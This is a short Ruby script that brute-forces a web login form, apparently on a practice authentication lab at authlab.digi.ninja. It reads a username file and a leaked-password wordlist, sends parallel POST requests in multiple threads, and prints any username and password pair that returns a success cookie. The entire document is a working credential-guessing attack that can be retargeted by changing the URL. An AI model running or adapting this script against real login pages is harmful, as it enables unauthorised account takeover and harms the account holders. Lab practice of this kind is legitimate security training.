bruteforce-post.rb

require 'http'
require 'parallel'

uri = "https://authlab.digi.ninja/Leaky_JWT_Login"
userlist = File.readlines('users.db').map(&:strip)
passlist = File.readlines('/usr/share/seclists/Passwords/darkweb2017-top1000.txt').map(&:strip)

Parallel.each(userlist, in_threads: 10) do |user|
  Parallel.each_with_index(passlist, in_threads: 10) do |pass, index|
    response = HTTP.post(uri, form: { username: user, password: pass })
    if response.cookies.cookies.to_s.include?('Login+Success')
      puts "[!] Found valid username: #{user} and password: #{pass}"
    end
    sleep 1
  end
end